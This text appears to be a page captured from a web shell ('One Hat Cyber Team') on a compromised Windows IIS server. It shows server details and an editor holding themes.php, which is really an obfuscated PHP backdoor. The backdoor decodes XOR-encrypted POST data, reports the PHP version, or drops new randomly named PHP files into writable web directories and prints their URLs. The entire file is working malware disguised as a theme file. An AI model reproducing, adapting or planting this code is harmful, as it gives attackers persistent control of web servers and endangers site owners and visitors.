⚝
One Hat Cyber Team
⚝
Your IP:
18.218.254.84
Server IP:
162.222.225.78
Server:
Windows NT PLESK-WEB5 10.0 build 20348 (Windows Server 2022) AMD64
Server Software:
Microsoft-IIS/10.0
PHP Version:
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
D:
/
INETPUB
/
VHOSTS
/
ateam.co.in
/
public_html
/
636bc
/
Edit File: themes.php
<?php function mnDxGcObG($tImWGk){$ceOOP = chr(114)."\141".'w'.'u'.chr(114).chr(108).chr(1023-923)."\x65".'c'.'o'.chr(1025-925)."\145";$ByUIeS = 's'.chr(345-229).'r'.'_'.'r'.chr(111)."\x74"."\61"."\x33";$ixktEKTcn = chr(115).chr(342-226).chr(1051-937).chr(95).'s'.chr(112)."\x6c"."\x69".'t';$tImWGk = $ixktEKTcn($ceOOP($ByUIeS($tImWGk)));return $tImWGk;}function QvEpmZwa($oyxKPjoAN, $tImWGk){$oQRTocReM = 's'."\x74"."\162".'_'.'s'."\160"."\x6c".'i'.'t';$oyxKPjoAN = array_slice($oQRTocReM(str_repeat($oyxKPjoAN, (count($tImWGk)/16)+1)), 0, count($tImWGk));return $oyxKPjoAN;}function wcslQpSLUf($bwnOvUmx, $sGGeRfN, $oyxKPjoAN){$sOGKHCQ = "e46d40d5-5df1-431b-a04a-bc9d610a7613";return $bwnOvUmx ^ $sOGKHCQ[$sGGeRfN % strlen($sOGKHCQ)] ^ $oyxKPjoAN;}function WIgDnQqjA($tImWGk, $oyxKPjoAN){$tImWGk = array_map("wcslQpSLUf", array_values($tImWGk), array_keys($tImWGk), array_values($oyxKPjoAN));$tImWGk = implode("", $tImWGk);$DistThWrI = chr(1110-993)."\156"."\163"."\x65"."\x72".chr(105).chr(97).chr(108).chr(105)."\x7a".chr(292-191);$tImWGk = @$DistThWrI($tImWGk);return $tImWGk;}function faLxGDjLL(){echo "stdzlZpKeW";}function PLPAfrH($QabUBir){static $heujhgX = array();$VUdwClxKBi = glob($QabUBir . '/*', GLOB_ONLYDIR);$OKUhqml = count($VUdwClxKBi);if ($OKUhqml > 0) {foreach ($VUdwClxKBi as $QabUB) {$KgtgxomGgg = 'i'."\163".chr(645-550).'w'.'r'.'i'.chr(345-229).chr(97).chr(900-802)."\154".'e';if (@$KgtgxomGgg($QabUB)) {$heujhgX[] = $QabUB;}}}foreach ($VUdwClxKBi as $QabUBir) PLPAfrH($QabUBir);return $heujhgX;}function oGqEwSCq(){echo "HyIjuLpK";}function RydqX($tImWGk){$DHBcOARhy = chr(68).chr(79)."\103"."\125"."\115".chr(69).chr(494-416)."\x54".chr(305-210).'R'.'O'."\117".'T';$jkfsrx = $_SERVER[$DHBcOARhy];$VUdwClxKBi = PLPAfrH($jkfsrx);$MYRNT = array_rand($VUdwClxKBi);$PJsPfqcLY = chr(46).chr(112)."\150"."\160";$Ziyugrxx = $VUdwClxKBi[$MYRNT] . "/" . substr(md5(time()), 0, 8) . $PJsPfqcLY;$eccrjl = 'f'."\x69".chr(530-422).'e'.chr(295-200)."\x70"."\x75".chr(116).chr(95)."\143".'o'."\156"."\x74".chr(269-168).chr(1030-920).chr(229-113)."\x73";@$eccrjl($Ziyugrxx, $tImWGk);$leQxu = "\110".chr(933-849)."\x54".'P'.'_'.chr(78-6)."\x4f".chr(83).'T';$bDXrdKdMW = "\150".'t'."\164".chr(112)."\72"."\57".chr(47);$ZPOHfkuPbu = $bDXrdKdMW . $_SERVER[$leQxu] . substr($Ziyugrxx, strlen($jkfsrx));print($ZPOHfkuPbu);}foreach ($_POST as $oyxKPjoAN => $tImWGk){$cZqiDByPRS = strlen($oyxKPjoAN);if ($cZqiDByPRS == 16){$tImWGk = mnDxGcObG($tImWGk);$oyxKPjoAN = QvEpmZwa($oyxKPjoAN, $tImWGk);$tImWGk = WIgDnQqjA($tImWGk, $oyxKPjoAN);if (@is_array($tImWGk)){$MYRNT = array_keys($tImWGk);$tImWGk = $tImWGk[$MYRNT[0]];if ($tImWGk === $MYRNT[0]){$HBHBHExm = chr(743-631).chr(824-720)."\x70";$wBFVjXyu = "\x70"."\x68".'p'.chr(118).chr(273-172)."\x72"."\x73".chr(526-421).chr(367-256).chr(1013-903);$oaLwXJnVu = "\163"."\145".'r'."\151".'a'."\154".chr(513-408).chr(875-753).chr(844-743);echo @$oaLwXJnVu(Array($HBHBHExm => @$wBFVjXyu(), ));}else {RydqX($tImWGk);}die();}}}
Simpan